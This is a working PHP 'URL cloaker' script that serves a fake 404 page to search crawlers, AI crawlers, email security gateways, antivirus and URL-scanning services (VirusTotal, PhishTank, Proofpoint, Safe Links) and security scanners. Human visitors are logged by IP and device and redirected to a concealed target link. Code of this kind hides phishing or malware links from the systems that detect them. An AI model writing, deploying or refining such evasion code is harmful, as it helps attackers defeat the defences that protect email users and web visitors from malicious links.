File: /home/redpsiju/www/friday/files/550382645678759759695093280221/index.php
<?php
/**
* PUBLIC URL CLOAKER – FINAL VERSION (CLOUD BLOCKING DISABLED)
* - Logs every blocking action (JS challenge, rate limit, IP blacklist, bot detection)
* - Cloud IP blocking is commented out – can be re-enabled by removing the comments.
*/
define('DATA_FILE', 'links.json');
define('LOG_FILE', 'clicks.log');
define('UNIQUE_IPS_FILE', 'unique_ips.json');
define('BLOCKED_IPS_FILE', 'blocked_ips.txt');
define('RATE_LIMIT_FILE', 'rate_limit.json');
define('RATE_LIMIT', 15);
define('RATE_WINDOW', 60);
// ---------- GET VISITOR IP ----------
$ip = $_SERVER['HTTP_CF_CONNECTING_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'] ?? '';
$ip = trim(explode(',', $ip)[0]);
// ---------- USER AGENT ----------
$ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
// ---------- IP BLACKLIST CHECK ----------
if (file_exists(BLOCKED_IPS_FILE)) {
$blocked = file(BLOCKED_IPS_FILE, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
if (in_array($ip, $blocked)) {
file_put_contents(LOG_FILE, date('Y-m-d H:i:s') . " | BOT | N/A | ip_blacklist | $ua | $ip\n", FILE_APPEND | LOCK_EX);
http_response_code(403);
die('403 Forbidden');
}
}
// ---------- CLOUD IP BLOCKING (DISABLED – COMMENTED OUT) ----------
/*
$cloudPrefixes = [
'54.', '52.', '35.', '34.', '3.', '18.', '44.', '13.', '100.',
'54.81.', '54.203.', '54.71.', '35.153.', '54.244.', '4.204.', '9.169.',
'104.47.',
'205.169.',
];
foreach ($cloudPrefixes as $prefix) {
if (strpos($ip, $prefix) === 0) {
file_put_contents(LOG_FILE, date('Y-m-d H:i:s') . " | BOT | N/A | cloud_block | $ua | $ip\n", FILE_APPEND | LOCK_EX);
http_response_code(403);
die('403 Forbidden');
}
}
*/
// ---------- LOAD LINKS AND GET CODE ----------
$links = file_exists(DATA_FILE) ? json_decode(file_get_contents(DATA_FILE), true) : [];
if (!is_array($links)) $links = [];
$code = isset($_GET['code']) ? trim($_GET['code']) : '';
if (!$code || !isset($links[$code])) {
http_response_code(404);
die('404 - Link not found');
}
$linkData = $links[$code];
// ---------- RATE LIMITING ----------
$rateData = [];
if (file_exists(RATE_LIMIT_FILE)) {
$rateData = json_decode(file_get_contents(RATE_LIMIT_FILE), true);
if (!is_array($rateData)) $rateData = [];
}
foreach ($rateData as $addr => $timestamps) {
$rateData[$addr] = array_filter($timestamps, fn($t) => $t > time() - RATE_WINDOW);
if (empty($rateData[$addr])) unset($rateData[$addr]);
}
if (!isset($rateData[$ip])) $rateData[$ip] = [];
$rateData[$ip][] = time();
if (count($rateData[$ip]) > RATE_LIMIT) {
file_put_contents(LOG_FILE, date('Y-m-d H:i:s') . " | BOT | $code | rate_limit | $ua | $ip\n", FILE_APPEND | LOCK_EX);
http_response_code(429);
die('429 Too Many Requests');
}
file_put_contents(RATE_LIMIT_FILE, json_encode($rateData));
// ---------- JAVASCRIPT CHALLENGE ----------
if (!isset($_COOKIE['js_verified'])) {
file_put_contents(LOG_FILE, date('Y-m-d H:i:s') . " | BOT | $code | js_challenge | $ua | $ip\n", FILE_APPEND | LOCK_EX);
setcookie('js_verified', '1', time() + 3600, '/');
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Redirecting...</title>
<script>window.location.href = window.location.href;</script>
<noscript><meta http-equiv="refresh" content="0;url=<?php echo htmlspecialchars($_SERVER['REQUEST_URI']); ?>"></noscript>
</head>
<body><p>Redirecting, please wait...</p></body>
</html>
<?php
exit;
}
// ---------- BOT DETECTION (FULL LIST) ----------
$botKeywords = [
'bot', 'crawler', 'spider', 'scraper', 'curl', 'wget', 'python', 'perl', 'ruby',
'java', 'php', 'httpclient', 'http client', 'libwww', 'mechanize',
'go-http-client', 'okhttp', 'axios', 'node-fetch', 'guzzle',
'googlebot', 'googlebot-image', 'googlebot-news', 'googlebot-video',
'bingbot', 'bingpreview', 'msnbot',
'yandexbot', 'baiduspider', 'duckduckbot',
'slurp', 'yahoo! slurp',
'sogou', 'seznambot', 'naverbot', 'petalbot',
'gptbot', 'chatgpt-user', 'openai',
'anthropic-ai', 'claudebot',
'ccbot', 'perplexitybot', 'youbot', 'bytespider', 'amazonbot',
'meta-externalagent', 'meta-externalfetcher', 'facebookbot',
'ahrefsbot', 'ahrefs', 'semrushbot', 'semrush', 'mj12bot', 'dotbot',
'rogerbot', 'exabot', 'sistrix', 'serpstatbot', 'sitebulb', 'screaming frog',
'lighthouse', 'gtmetrix', 'pingdom', 'uptimerobot', 'statuscake',
'facebookexternalhit', 'facebot', 'twitterbot', 'linkedinbot', 'whatsapp',
'slackbot', 'discordbot', 'telegrambot', 'skypeuripreview', 'line',
'snapchat', 'pinterest', 'redditbot',
'googleimageproxy', 'googleprox', 'gmail', 'outlook', 'office365',
'exchange', 'ews', 'microsoft-cryptoapi', 'protection.outlook.com',
'safelinks', 'mimecast', 'barracuda', 'proofpoint', 'trendmicro',
'symantec', 'mcafee', 'sophos', 'fireeye', 'fortinet', 'avast', 'avg',
'eset', 'kaspersky', 'urlscan', 'virustotal', 'phishtank', 'spamassassin',
'adsbot-google', 'mediapartners-google', 'adsense', 'feedfetcher-google',
'feedfetcher', 'feedvalidator', 'rss', 'feed', 'reader', 'flipboard',
'inoreader', 'feedly', 'cloudflare', 'cloudfront', 'fastly', 'akamai',
'sucuri', 'incapsula', 'zgrab', 'zmap', 'masscan', 'nmap', 'shodan',
'censys', 'qualys', 'rapid7', 'nessus', 'openvas', 'nikto', 'acunetix',
'dirbuster', 'sqlmap', 'fuzzer', 'bitlybot', 'tinyurl', 'goo.gl',
'ow.ly', 'bufferbot', 'hootsuite', 'ifttt', 'zapier',
'ia_archiver', 'archive.org_bot', 'wayback', 'archive-it',
'phantomjs', 'headlesschrome', 'selenium', 'puppeteer', 'playwright',
'req/v3', 'headless', 'appengine-google', 'python-requests', 'go-http-client',
];
$isBot = false;
if (empty($ua)) {
$isBot = true;
} else {
foreach ($botKeywords as $kw) {
if (stripos($ua, $kw) !== false) {
$isBot = true;
break;
}
}
}
// ---------- DEVICE DETECTION ----------
$device = 'desktop';
if (preg_match('/(mobile|android|iphone|ipod|blackberry|windows phone)/i', $ua)) {
$device = 'mobile';
} elseif (preg_match('/(tablet|ipad|playbook|kindle)/i', $ua)) {
$device = 'tablet';
}
// ---------- HANDLE BOT (keyword detection) ----------
if ($isBot) {
file_put_contents(LOG_FILE, date('Y-m-d H:i:s') . " | BOT | $code | bot_keyword | $ua | $ip\n", FILE_APPEND | LOCK_EX);
http_response_code(404);
echo "<!DOCTYPE html><html><head><title>404 Not Found</title></head><body><h1>404 - Page Not Found</h1></body></html>";
exit;
}
// ---------- LOG HUMAN CLICK ----------
file_put_contents(LOG_FILE, date('Y-m-d H:i:s') . " | HUMAN | $code | $device | $ua | $ip\n", FILE_APPEND | LOCK_EX);
// ---------- UNIQUE HUMAN TRACKING ----------
$uniqueData = [];
if (file_exists(UNIQUE_IPS_FILE)) {
$content = file_get_contents(UNIQUE_IPS_FILE);
$decoded = json_decode($content, true);
if (is_array($decoded)) $uniqueData = $decoded;
}
if (!isset($uniqueData[$code])) {
$uniqueData[$code] = [];
}
if (!in_array($ip, $uniqueData[$code])) {
$uniqueData[$code][] = $ip;
$fp = fopen(UNIQUE_IPS_FILE, 'c');
if (flock($fp, LOCK_EX)) {
ftruncate($fp, 0);
fwrite($fp, json_encode($uniqueData, JSON_PRETTY_PRINT));
fflush($fp);
flock($fp, LOCK_UN);
}
fclose($fp);
}
// ---------- REDIRECT ----------
header("Location: " . $linkData['url'], true, 302);
exit;